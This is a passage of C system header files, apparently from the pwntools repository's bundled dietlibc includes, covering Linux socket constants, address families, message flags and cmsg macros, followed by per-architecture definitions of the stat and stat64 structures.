SO_SECURITY_ENCRYPTION_NETWORK 0x5004 #else #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 /* Security levels - as per NRL IPv6 - don't actually do anything */ #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER SO_ATTACH_FILTER #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP SO_TIMESTAMP #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS SO_TIMESTAMPNS #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING SO_TIMESTAMPING #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS SO_WIFI_STATUS #define SO_PEEK_OFF 42 /* Instruct lower device to use last 4-bytes of skb data as FCS */ #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF SO_DETACH_FILTER #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #endif #if defined(__hppa__) || defined(__alpha__) #define SOCK_NONBLOCK 0x40000000 #else #define SOCK_NONBLOCK O_NONBLOCK #endif #define SOCK_CLOEXEC O_CLOEXEC /* Socket types. */ #ifdef __mips__ #define SOCK_DGRAM 1 /* datagram (conn.less) socket */ #define SOCK_STREAM 2 /* stream (connection) socket */ #else #define SOCK_STREAM 1 /* stream (connection) socket */ #define SOCK_DGRAM 2 /* datagram (conn.less) socket */ #endif #define SOCK_RAW 3 /* raw socket */ #define SOCK_RDM 4 /* reliably-delivered message */ #define SOCK_SEQPACKET 5 /* sequential packet socket */ #define SOCK_DCCP 6 /* Datagram Congestion Control Protocol socket */ #define SOCK_PACKET 10 /* linux specific way of */ /* getting packets at the dev */ /* level. For writing rarp and */ /* other similar things on the */ /* user level. */ struct sockaddr { sa_family_t sa_family; char sa_data[14]; }; struct linger { int32_t l_onoff; int32_t l_linger; }; struct msghdr { void* msg_name; /* Socket name */ socklen_t msg_namelen; /* Length of name */ struct iovec* msg_iov; /* Data blocks */ size_t msg_iovlen; /* Number of blocks */ void* msg_control; /* Per protocol magic (eg BSD file descriptor passing) */ size_t msg_controllen; /* Length of cmsg list */ uint32_t msg_flags; }; struct cmsghdr { size_t cmsg_len; /* data byte count, including hdr */ int32_t cmsg_level; /* originating protocol */ int32_t cmsg_type; /* protocol-specific type */ }; #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 /* "Socket"-level control message types: */ #define SCM_RIGHTS 0x01 /* rw: access rights (array of int) */ #define SCM_CREDENTIALS 0x02 /* rw: struct ucred */ #define SCM_CONNECT 0x03 /* rw: struct scm_connect */ struct ucred { pid_t pid; uid_t uid; gid_t gid; }; /* Supported address families. */ #define AF_UNSPEC 0 #define AF_UNIX 1 /* Unix domain sockets */ #define AF_LOCAL 1 /* POSIX name for AF_UNIX */ #define AF_INET 2 /* Internet IP Protocol */ #define AF_AX25 3 /* Amateur Radio AX.25 */ #define AF_IPX 4 /* Novell IPX */ #define AF_APPLETALK 5 /* AppleTalk DDP */ #define AF_NETROM 6 /* Amateur Radio NET/ROM */ #define AF_BRIDGE 7 /* Multiprotocol bridge */ #define AF_ATMPVC 8 /* ATM PVCs */ #define AF_X25 9 /* Reserved for X.25 project */ #define AF_INET6 10 /* IP version 6 */ #define AF_ROSE 11 /* Amateur Radio X.25 PLP */ #define AF_DECnet 12 /* Reserved for DECnet project */ #define AF_NETBEUI 13 /* Reserved for 802.2LLC project*/ #define AF_SECURITY 14 /* Security callback pseudo AF */ #define AF_KEY 15 /* PF_KEY key management API */ #define AF_NETLINK 16 #define AF_ROUTE AF_NETLINK /* Alias to emulate 4.4BSD */ #define AF_PACKET 17 /* Packet family */ #define AF_ASH 18 /* Ash */ #define AF_ECONET 19 /* Acorn Econet */ #define AF_ATMSVC 20 /* ATM SVCs */ #define AF_SNA 22 /* Linux SNA Project (nutters!) */ #define AF_IRDA 23 /* IRDA sockets */ #define AF_PPPOX 24 /* PPPoX sockets */ #define AF_WANPIPE 25 /* Wanpipe API Sockets */ #define AF_LLC 26 /* Linux LLC */ #define AF_IB 27 /* Native InfiniBand address */ #define AF_MPLS 28 /* MPLS */ #define AF_CAN 29 /* Controller Area Network */ #define AF_TIPC 30 /* TIPC sockets */ #define AF_BLUETOOTH 31 /* Bluetooth sockets */ #define AF_IUCV 32 /* IUCV sockets */ #define AF_RXRPC 33 /* RxRPC sockets */ #define AF_ISDN 34 /* mISDN sockets */ #define AF_PHONET 35 /* Phonet sockets */ #define AF_IEEE802154 36 /* IEEE802154 sockets */ #define AF_CAIF 37 /* CAIF sockets */ #define AF_ALG 38 /* Algorithm sockets */ #define AF_NFC 39 /* NFC sockets */ #define AF_VSOCK 40 /* vSockets */ #define AF_KCM 41 /* Kernel Connection Multiplexor*/ #define AF_QIPCRTR 42 /* Qualcomm IPC Router */ #define AF_SMC 43 /* smc sockets: reserve number for * PF_SMC protocol family that * reuses AF_INET address family */ #define AF_MAX 44 /* For now.. */ /* Protocol families, same as address families. */ #define PF_UNSPEC AF_UNSPEC #define PF_UNIX AF_UNIX #define PF_LOCAL AF_LOCAL #define PF_INET AF_INET #define PF_AX25 AF_AX25 #define PF_IPX AF_IPX #define PF_APPLETALK AF_APPLETALK #define PF_NETROM AF_NETROM #define PF_BRIDGE AF_BRIDGE #define PF_ATMPVC AF_ATMPVC #define PF_X25 AF_X25 #define PF_INET6 AF_INET6 #define PF_ROSE AF_ROSE #define PF_DECnet AF_DECnet #define PF_NETBEUI AF_NETBEUI #define PF_SECURITY AF_SECURITY #define PF_KEY AF_KEY #define PF_NETLINK AF_NETLINK #define PF_ROUTE AF_ROUTE #define PF_PACKET AF_PACKET #define PF_ASH AF_ASH #define PF_ECONET AF_ECONET #define PF_ATMSVC AF_ATMSVC #define PF_SNA AF_SNA #define PF_IRDA AF_IRDA #define PF_PPPOX AF_PPPOX #define PF_WANPIPE AF_WANPIPE #define PF_LLC AF_LLC #define PF_IB AF_IB #define PF_MPLS AF_MPLS #define PF_CAN AF_CAN #define PF_TIPC AF_TIPC #define PF_BLUETOOTH AF_BLUETOOTH #define PF_IUCV AF_IUCV #define PF_RXRPC AF_RXRPC #define PF_ISDN AF_ISDN #define PF_PHONET AF_PHONET #define PF_IEEE802154 AF_IEEE802154 #define PF_CAIF AF_CAIF #define PF_ALG AF_ALG #define PF_NFC AF_NFC #define PF_VSOCK AF_VSOCK #define PF_KCM AF_KCM #define PF_QIPCRTR AF_QIPCRTR #define PF_SMC AF_SMC #define PF_MAX AF_MAX /* Maximum queue length specifiable by listen. */ #define SOMAXCONN 128 /* Flags we can use with send/ and recv. Added those for 1003.1g not all are supported yet */ #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 /* Synonym for MSG_DONTROUTE for DECnet */ #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 /* Do not send. Only probe path f.e. for MTU */ #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 /* Nonblocking io */ #define MSG_EOR 0x80 /* End of record */ #define MSG_WAITALL 0x100 /* Wait for a full request */ #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 /* Confirm path validity */ #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 /* Fetch message from error queue */ #define MSG_NOSIGNAL 0x4000 /* Do not generate SIGPIPE */ #define MSG_MORE 0x8000 /* Sender will send more */ #define MSG_WAITFORONE 0x10000 /* recvmmsg(): block until 1+ packets avail */ #define MSG_SENDPAGE_NOTLAST 0x20000 /* sendpage() internal : not the last page */ #define MSG_BATCH 0x40000 /* sendmmsg(): more messages coming */ #define MSG_EOF MSG_FIN #define MSG_ZEROCOPY 0x4000000 /* Use user data in kernel path */ #define MSG_FASTOPEN 0x20000000 /* Send data in TCP SYN */ #define MSG_CMSG_CLOEXEC 0x40000000 /* Set close_on_exit for file descriptor received through SCM_RIGHTS */ /* Setsockoptions(2) level. Thanks to BSD these must match IPPROTO_xxx */ #define SOL_IP 0 /* #define SOL_ICMP 1 No-no-no! Due to Linux :-) we cannot use SOL_ICMP=1 */ #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 /* UDP-Lite (RFC 3828) */ #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 /* ATM layer (cell level) */ #define SOL_AAL 265 /* ATM Adaption Layer (packet level) */ #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 /* IPX options */ #define IPX_TYPE 1 #define CMSG_ALIGN(len) ( ((len)+sizeof(long)-1) & ~(sizeof(long)-1) ) #define __CMSG_NXTHDR(ctl, len, cmsg) __cmsg_nxthdr((ctl),(len),(cmsg)) #define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg)) static inline struct cmsghdr* __cmsg_nxthdr(void *__ctl, size_t __size, struct cmsghdr *__cmsg) { struct cmsghdr * __ptr; __ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) + CMSG_ALIGN(__cmsg->cmsg_len)); if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size) return (struct cmsghdr *)0; return __ptr; } static inline struct cmsghdr* cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg) { return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg); } #define CMSG_DATA(cmsg) ((void *)((char *)(cmsg) + CMSG_ALIGN(sizeof(struct cmsghdr)))) #define CMSG_SPACE(len) (CMSG_ALIGN(sizeof(struct cmsghdr)) + CMSG_ALIGN(len)) #define CMSG_LEN(len) (CMSG_ALIGN(sizeof(struct cmsghdr)) + (len)) #define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \ (struct cmsghdr *)(ctl) : \ (struct cmsghdr *)NULL) #define CMSG_FIRSTHDR(msg) __CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen) struct sockaddr_storage { sa_family_t ss_family; uint32_t __ss_align; char __ss_padding[(128 - (2 * sizeof (uint32_t ))) ]; }; int socket(int domain, int type, int protocol) __THROW; int accept(int s, struct sockaddr *addr, socklen_t *addrlen) __THROW; int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen) __THROW; int bind(int sockfd, const struct sockaddr *my_addr, socklen_t addrlen) __THROW; __writememsz__(2,3) int recv(int s, void *buf, size_t len, int flags) __THROW; __writememsz__(2,3) int recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlen) __THROW; __writemem__(2) int recvmsg(int s, struct msghdr *msg, int flags) __THROW; __readmemsz__(2,3) int send(int s, const void *msg, size_t len, int flags) __THROW; __readmemsz__(2,3) int sendto(int s, const void *msg, size_t len, int flags, const struct sockaddr *to, socklen_t tolen) __THROW; __readmem__(2) int sendmsg(int s, const struct msghdr *msg, int flags) __THROW; int getpeername(int s, struct sockaddr *name, socklen_t *namelen) __THROW; int getsockname(int s , struct sockaddr * name , socklen_t * namelen) __THROW; int getsockopt(int s, int level, int optname, void *optval, socklen_t *optlen) __THROW; int setsockopt(int s, int level, int optname, const void *optval, socklen_t optlen) __THROW; int listen(int s, int backlog) __THROW; #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 int shutdown(int s, int how) __THROW; int socketpair(int d, int type, int protocol, int sv[2]) __THROW; #ifdef _GNU_SOURCE struct mmsghdr { struct msghdr msg_hdr; /* Message header */ unsigned int msg_len; /* Number of bytes transmitted */ }; int recvmmsg(int sockfd, struct mmsghdr *msgvec, unsigned int vlen, unsigned int flags, struct timespec *timeout) __THROW; int sendmmsg(int sockfd, struct mmsghdr *msgvec, unsigned int vlen, unsigned int flags); #endif /* currently not supported: */ #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 struct addrinfo { int ai_flags; int ai_family; int ai_socktype; int ai_protocol; size_t ai_addrlen; struct sockaddr *ai_addr; char *ai_canonname; struct addrinfo *ai_next; }; __writememsz__(3,4) __writememsz__(5,6) int getnameinfo(const struct sockaddr *sa, socklen_t salen, char *host, size_t hostlen, char *serv, size_t servlen, int flags) __THROW; int getaddrinfo(const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res) __THROW; void freeaddrinfo(struct addrinfo *res) __THROW; const char *gai_strerror(int errcode) __THROW; #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 /* flags for getaddrinfo */ /* do not attempt DNS lookup, node must be numeric IP */ #define AI_NUMERICHOST 1 /* ignored by dietlibc */ #define AI_CANONNAME 2 /* if node is NULL, return INADDR_ANY / IN6ADDR_ANY_INIT */ #define AI_PASSIVE 4 /* do not attempt /etc/services lookup, service must be numeric */ #define AI_NUMERICSERV 8 /* ignored by dietlibc */ #define AI_ADDRCONFIG 16 /* if hints->ai_protocol=AF_INET6 and no IPv6 addresses found, then * return IPv4 addresses as v4-mapped addresses */ #define AI_V4MAPPED 32 /* used with AI_V4MAPPED; return IPv6 and v4-mapped addresses */ #define AI_ALL 64 /* Linux-specific socket ioctls */ #define SIOCINQ FIONREAD #define SIOCOUTQ TIOCOUTQ /* Routing table calls. */ #define SIOCADDRT 0x890B /* add routing table entry */ #define SIOCDELRT 0x890C /* delete routing table entry */ #define SIOCRTMSG 0x890D /* call to routing system */ /* Socket configuration controls. */ #define SIOCGIFNAME 0x8910 /* get iface name */ #define SIOCSIFLINK 0x8911 /* set iface channel */ #define SIOCGIFCONF 0x8912 /* get iface list */ #define SIOCGIFFLAGS 0x8913 /* get flags */ #define SIOCSIFFLAGS 0x8914 /* set flags */ #define SIOCGIFADDR 0x8915 /* get PA address */ #define SIOCSIFADDR 0x8916 /* set PA address */ #define SIOCGIFDSTADDR 0x8917 /* get remote PA address */ #define SIOCSIFDSTADDR 0x8918 /* set remote PA address */ #define SIOCGIFBRDADDR 0x8919 /* get broadcast PA address */ #define SIOCSIFBRDADDR 0x891a /* set broadcast PA address */ #define SIOCGIFNETMASK 0x891b /* get network PA mask */ #define SIOCSIFNETMASK 0x891c /* set network PA mask */ #define SIOCGIFMETRIC 0x891d /* get metric */ #define SIOCSIFMETRIC 0x891e /* set metric */ #define SIOCGIFMEM 0x891f /* get memory address (BSD) */ #define SIOCSIFMEM 0x8920 /* set memory address (BSD) */ #define SIOCGIFMTU 0x8921 /* get MTU size */ #define SIOCSIFMTU 0x8922 /* set MTU size */ #define SIOCSIFNAME 0x8923 /* set interface name */ #define SIOCSIFHWADDR 0x8924 /* set hardware address */ #define SIOCGIFENCAP 0x8925 /* get/set encapsulations */ #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 /* Get hardware address */ #define SIOCGIFSLAVE 0x8929 /* Driver slaving support */ #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 /* Multicast address lists */ #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 /* name -> if_index mapping */ #define SIOGIFINDEX SIOCGIFINDEX /* misprint compatibility :-) */ #define SIOCSIFPFLAGS 0x8934 /* set/get extended flags set */ #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 /* delete PA address */ #define SIOCSIFHWBROADCAST 0x8937 /* set hardware broadcast addr */ #define SIOCGIFCOUNT 0x8938 /* get number of devices */ #define SIOCGIFBR 0x8940 /* Bridging support */ #define SIOCSIFBR 0x8941 /* Set bridging options */ #define SIOCGIFTXQLEN 0x8942 /* Get the tx queue length */ #define SIOCSIFTXQLEN 0x8943 /* Set the tx queue length */ #define SIOCGIFDIVERT 0x8944 /* Frame diversion support */ #define SIOCSIFDIVERT 0x8945 /* Set frame diversion options */ #define SIOCETHTOOL 0x8946 /* Ethtool interface */ /* ARP cache control calls. */ /* 0x8950 - 0x8952 * obsolete calls, don't re-use */ #define SIOCDARP 0x8953 /* delete ARP table entry */ #define SIOCGARP 0x8954 /* get ARP table entry */ #define SIOCSARP 0x8955 /* set ARP table entry */ /* RARP cache control calls. */ #define SIOCDRARP 0x8960 /* delete RARP table entry */ #define SIOCGRARP 0x8961 /* get RARP table entry */ #define SIOCSRARP 0x8962 /* set RARP table entry */ /* Driver configuration calls */ #define SIOCGIFMAP 0x8970 /* Get device parameters */ #define SIOCSIFMAP 0x8971 /* Set device parameters */ /* DLCI configuration calls */ #define SIOCADDDLCI 0x8980 /* Create new DLCI device */ #define SIOCDELDLCI 0x8981 /* Delete DLCI device */ #define SIOCDEVPRIVATE 0x89F0 /* to 89FF */ #define _LINUX_SOCKET_H __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/stat.h000066400000000000000000000430621507273764500302350ustar00rootroot00000000000000#ifndef _SYS_STAT_H #define _SYS_STAT_H #include #include #include __BEGIN_DECLS #if defined(__i386__) struct stat { uint32_t st_dev; unsigned long st_ino; uint16_t st_mode; uint16_t st_nlink; uint16_t st_uid; uint16_t st_gid; uint32_t st_rdev; unsigned long st_size; unsigned long st_blksize; unsigned long st_blocks; time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; unsigned long __unused4; unsigned long __unused5; }; struct stat64 { uint64_t st_dev; unsigned char __pad0[4]; #define STAT64_HAS_BROKEN_ST_INO 1 unsigned long __st_ino; uint32_t st_mode; uint32_t st_nlink; unsigned long st_uid; unsigned long st_gid; uint64_t st_rdev; unsigned char __pad3[4]; __extension__ long long st_size __attribute__((__packed__)); unsigned long st_blksize; uint64_t st_blocks; /* Number 512-byte blocks allocated. */ time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; __extension__ unsigned long long st_ino __attribute__((__packed__)); }; #elif defined(__sparc__) && defined(__arch64__) struct stat { uint32_t st_dev; unsigned long st_ino; uint32_t st_mode; int16_t st_nlink; uint32_t st_uid; uint32_t st_gid; uint32_t st_rdev; long st_size; time_t st_atime; time_t st_mtime; time_t st_ctime; long st_blksize; long st_blocks; unsigned long __unused4[2]; }; struct stat64 { unsigned long st_dev, st_ino, st_nlink; unsigned int st_mode, st_uid, st_gid, __pad0; unsigned long st_rdev; long st_size, st_blksize, st_blocks; unsigned long st_atime,st_atime_nsec,st_mtime,st_mtime_nsec,st_ctime,st_ctime_nsec; long __unused[3]; }; #elif defined(__sparc__) struct stat { uint16_t st_dev; unsigned long st_ino; uint16_t st_mode; int16_t st_nlink; uint16_t st_uid; uint16_t st_gid; uint16_t st_rdev; long st_size; time_t st_atime; unsigned long __unused1; time_t st_mtime; unsigned long __unused2; time_t st_ctime; unsigned long __unused3; long st_blksize; long st_blocks; unsigned long __unused4[2]; }; struct stat64 { uint64_t st_dev, st_ino; uint32_t st_mode, st_nlink, st_uid, st_gid; uint64_t st_rdev; unsigned char __pad3[8]; int64_t st_size; uint32_t st_blksize; unsigned char __pad4[8]; uint32_t st_blocks; time_t st_atime; uint32_t st_atime_nsec; time_t st_mtime; uint32_t st_mtime_nsec; time_t st_ctime; uint32_t st_ctime_nsec; uint32_t __unused4; uint32_t __unused5; }; #elif defined(__alpha__) struct stat { uint32_t st_dev; uint32_t st_ino; uint32_t st_mode; uint32_t st_nlink; uint32_t st_uid; uint32_t st_gid; uint32_t st_rdev; signed long st_size; time_t st_atime; time_t st_mtime; time_t st_ctime; uint32_t st_blksize; int32_t st_blocks; uint32_t st_flags; uint32_t st_gen; }; struct stat64 { unsigned long st_dev; unsigned long st_ino; unsigned long st_rdev; long st_size; unsigned long st_blocks; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; unsigned int st_blksize; unsigned int st_nlink; unsigned int __pad0; unsigned long st_atime; unsigned long st_atime_nsec; unsigned long st_mtime; unsigned long st_mtime_nsec; unsigned long st_ctime; unsigned long st_ctime_nsec; long __unused[3]; }; #elif defined(__mips64__) /* The memory layout is the same as of struct stat64 of the 32-bit kernel. */ struct stat { unsigned int st_dev; unsigned int st_pad0[3]; /* Reserved for st_dev expansion */ unsigned long st_ino; uint32_t st_mode; uint32_t st_nlink; uint32_t st_uid; uint32_t st_gid; unsigned int st_rdev; unsigned int st_pad1[3]; /* Reserved for st_rdev expansion */ long st_size; /* WTF? the mips64 kernel interface uses 32bit unsigned int for time_t? */ unsigned int st_atime; unsigned int st_atime_nsec; unsigned int st_mtime; unsigned int st_mtime_nsec; unsigned int st_ctime; unsigned int st_ctime_nsec; unsigned int st_blksize; unsigned int st_pad2; unsigned long st_blocks; }; /* Define struct stat64 to be identical, even though the kernel only knows struct stat. */ struct stat64 { unsigned int st_dev; unsigned int st_pad0[3]; unsigned long st_ino; uint32_t st_mode; uint32_t st_nlink; uint32_t st_uid; uint32_t st_gid; unsigned int st_rdev; unsigned int st_pad1[3]; long st_size; unsigned int st_atime; unsigned int st_atime_nsec; unsigned int st_mtime; unsigned int st_mtime_nsec; unsigned int st_ctime; unsigned int st_ctime_nsec; unsigned int st_blksize; unsigned int st_pad2; unsigned long st_blocks; }; #elif defined(__mips__) struct stat { uint32_t st_dev; long st_pad1[3]; /* Reserved for network id */ ino_t st_ino; uint32_t st_mode; int32_t st_nlink; int32_t st_uid; int32_t st_gid; uint32_t st_rdev; long st_pad2[2]; long st_size; long st_pad3; /* * Actually this should be timestruc_t st_atime, st_mtime and st_ctime * but we don't have it under Linux. */ time_t st_atime; long st_atime_nsec; time_t st_mtime; long st_mtime_nsec; time_t st_ctime; long st_ctime_nsec; long st_blksize; long st_blocks; char st_fstype[16]; /* Filesystem type name */ long st_pad4[14]; }; struct stat64 { unsigned long st_dev; unsigned long st_pad0[3]; /* Reserved for st_dev expansion */ __extension__ unsigned long long st_ino; uint32_t st_mode; uint32_t st_nlink; uint32_t st_uid; uint32_t st_gid; unsigned long st_rdev; unsigned long st_pad1[3]; /* Reserved for st_rdev expansion */ __extension__ long long st_size; /* * Actually this should be timestruc_t st_atime, st_mtime and st_ctime * but we don't have it under Linux. */ time_t st_atime; unsigned long reserved0; /* Reserved for st_atime expansion */ time_t st_mtime; unsigned long reserved1; /* Reserved for st_atime expansion */ time_t st_ctime; unsigned long reserved2; /* Reserved for st_atime expansion */ unsigned long st_blksize; unsigned long st_pad2; __extension__ long long st_blocks; }; #elif defined(__powerpc__) || defined(__powerpc64__) #if defined(__powerpc__) && !defined(__powerpc64__) struct stat { dev_t st_dev; ino_t st_ino; mode_t st_mode; nlink_t st_nlink; uid_t st_uid; gid_t st_gid; dev_t st_rdev; off_t st_size; unsigned long st_blksize; unsigned long st_blocks; time_t st_atime; unsigned long __unused1; time_t st_mtime; unsigned long __unused2; time_t st_ctime; unsigned long __unused3; unsigned long __unused4; unsigned long __unused5; }; #else struct stat { unsigned long st_dev; ino_t st_ino; nlink_t st_nlink; uint32_t st_mode; uint32_t st_uid; uint32_t st_gid; unsigned long st_rdev; off_t st_size; unsigned long st_blksize; unsigned long st_blocks; time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; unsigned long __unused4; unsigned long __unused5; unsigned long __unused6; }; #endif /* This matches struct stat64 in glibc2.1. */ struct stat64 { __extension__ unsigned long long st_dev; /* Device. */ __extension__ unsigned long long st_ino; /* File serial number. */ uint32_t st_mode; /* File mode. */ uint32_t st_nlink; /* Link count. */ uint32_t st_uid; /* User ID of the file's owner. */ uint32_t st_gid; /* Group ID of the file's group. */ __extension__ unsigned long long st_rdev; /* Device number, if device. */ uint16_t __pad2; __extension__ long long st_size; /* Size of file, in bytes. */ long st_blksize; /* Optimal block size for I/O. */ __extension__ long long st_blocks; /* Number 512-byte blocks allocated. */ time_t st_atime; /* Time of last access. */ unsigned long int __unused1; time_t st_mtime; /* Time of last modification. */ unsigned long int __unused2; time_t st_ctime; /* Time of last status change. */ unsigned long int __unused3; unsigned long int __unused4; unsigned long int __unused5; }; #elif defined(__arm__) struct stat { uint32_t st_dev; unsigned long st_ino; uint16_t st_mode; uint16_t st_nlink; uint16_t st_uid; uint16_t st_gid; uint32_t st_rdev; unsigned long st_size; unsigned long st_blksize; unsigned long st_blocks; time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; unsigned long __unused4; unsigned long __unused5; }; /* This matches struct stat64 in glibc2.1, hence the absolutely * insane amounts of padding around dev_t's. */ struct stat64 { uint64_t st_dev; unsigned char __pad0[4]; #define STAT64_HAS_BROKEN_ST_INO 1 unsigned long __st_ino; uint32_t st_mode; uint32_t st_nlink; unsigned long st_uid; unsigned long st_gid; uint64_t st_rdev; unsigned char __pad3[4]; __extension__ long long st_size; unsigned long st_blksize; uint64_t st_blocks; /* Number 512-byte blocks allocated. */ time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; __extension__ unsigned long long st_ino; }; #elif defined(__aarch64__) struct stat { unsigned long st_dev; unsigned long st_ino; unsigned int st_mode; unsigned int st_nlink; unsigned int st_uid; unsigned int st_gid; unsigned long st_rdev; unsigned long __pad1; long st_size; int st_blksize; int __pad2; long st_blocks; time_t st_atime; long st_atime_nsec; time_t st_mtime; long st_mtime_nsec; time_t st_ctime; long st_ctime_nsec; int __unused1; int __unused2; }; struct stat64 { unsigned long st_dev; unsigned long st_ino; unsigned int st_mode; unsigned int st_nlink; unsigned int st_uid; unsigned int st_gid; unsigned long st_rdev; unsigned long __pad1; long st_size; int st_blksize; int __pad2; long st_blocks; time_t st_atime; long st_atime_nsec; time_t st_mtime; long st_mtime_nsec; time_t st_ctime; long st_ctime_nsec; int __unused1; int __unused2; }; #elif defined(__s390__) #if defined(__s390x__) struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; uint32_t st_mode; uint32_t st_uid; uint32_t st_gid; uint32_t __pad1; unsigned long st_rdev; unsigned long st_size; time_t st_atime; unsigned long st_atime_nsec; /* reserved for atime.nanoseconds */ time_t st_mtime; unsigned long st_mtime_nsec; /* reserved for mtime.nanoseconds */ time_t st_ctime; unsigned long st_ctime_nsec; /* reserved for ctime.nanoseconds */ unsigned long st_blksize; long st_blocks; unsigned long __unused[3]; }; #else struct stat { uint16_t st_dev; uint16_t __pad1; unsigned long st_ino; uint16_t st_mode; uint16_t st_nlink; uint16_t st_uid; uint16_t st_gid; uint16_t st_rdev; uint16_t __pad2; unsigned long st_size; unsigned long st_blksize; unsigned long st_blocks; time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; unsigned long __unused4; unsigned long __unused5; }; #endif struct stat64 { uint64_t st_dev; uint32_t __pad1; #define STAT64_HAS_BROKEN_ST_INO 1 unsigned long __st_ino; uint32_t st_mode; uint32_t st_nlink; unsigned long st_uid; unsigned long st_gid; uint64_t st_rdev; uint32_t __pad3; __extension__ long long st_size; unsigned long st_blksize; unsigned char __pad4[4]; unsigned long __pad5; /* future possible st_blocks high bits */ unsigned long st_blocks; /* Number 512-byte blocks allocated. */ time_t st_atime; unsigned long st_atime_nsec; time_t st_mtime; unsigned long st_mtime_nsec; time_t st_ctime; unsigned long st_ctime_nsec; __extension__ unsigned long long 